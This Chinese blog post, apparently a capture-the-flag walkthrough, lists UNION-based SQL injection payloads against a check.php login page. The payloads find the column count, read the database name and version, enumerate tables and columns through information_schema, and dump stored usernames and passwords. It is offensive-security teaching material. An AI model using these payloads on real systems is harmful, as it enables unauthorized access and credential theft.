union注入的一些模板

union注入

爆破字段数
admin ' order by 1 #

在进行到4的时候报错

/check.php?username=admin' order by 4%23&password=1 

说明字段数为4

union查询测试注入点(回显点位)
/check.php?username=1' union select 1,2,3%23&password=1

得到回显点位为2和3

爆破数据库
/check.php?username=1' union select 1,database(),version()%23&password=1

得到数据库的名字为geek

爆破数据表
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

得到以上两个数据表

爆破字段
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=1

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

两个表好像都是这个

爆破数据
/check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

Guess you like

Origin blog.csdn.net/yzl_007/article/details/120735076
Recommended